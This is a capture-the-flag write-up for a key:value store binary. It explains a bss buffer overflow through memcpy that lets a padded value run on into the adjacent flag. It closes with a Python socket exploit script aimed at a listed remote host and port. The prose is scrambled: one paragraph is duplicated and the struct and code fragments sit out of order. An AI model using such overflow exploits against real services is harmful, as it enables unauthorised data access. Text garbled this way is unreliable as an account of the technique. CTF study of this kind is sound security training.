The binary allows to set key:value pair and retrieve them using the key. Values are copied into bss area and key is stored in heap using a singly linked list. This is what a node looks like
One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
Pointer to last inserted node and node count is maintained in bss. value is a pointer to bss area, chunked into sizes of 4096 bytes. fgets function @ 0x08048C3C reads large input as:
struct node{
char key[256];
char *value;
struct node *next;
}
Vulnerability is in memcpy function @ 0x08048B2B as it copies value for key into the bss buffer
fgets(bss_buffer, 20479, stdin)
Using this we could overflow chunked buffer in bss. The goal of the challenge is to read the value for key key.
memcpy(bss + (4096*nodecount), value, strlen(value))
One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
Flag for the challenge is flag{YesItSy0urP13c30fC4k3}
#!/usr/bin/env python
import socket
ip = '127.0.0.1'
ip = '54.163.248.69'
port = 9003
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
COMMAND = 'Command% '
def recv_msg(delimiter):
global soc
rbuffer = ''
while not rbuffer.endswith(delimiter):
rbuffer += soc.recv(1)
return rbuffer
recv_msg(COMMAND)
# bss - fill entire 4096 bytes to concatenate flag
com = 'set O ' + 'A' * 4096 + chr(0xa)
soc.send(com)
recv_msg(COMMAND)
# read flag into adjacent buffer
com = 'set key' + chr(0xa)
soc.send(com)
recv_msg(COMMAND)
# read first key:value to dump the flag
soc.send('get O' + chr(0xa))
print recv_msg(COMMAND)[4096:]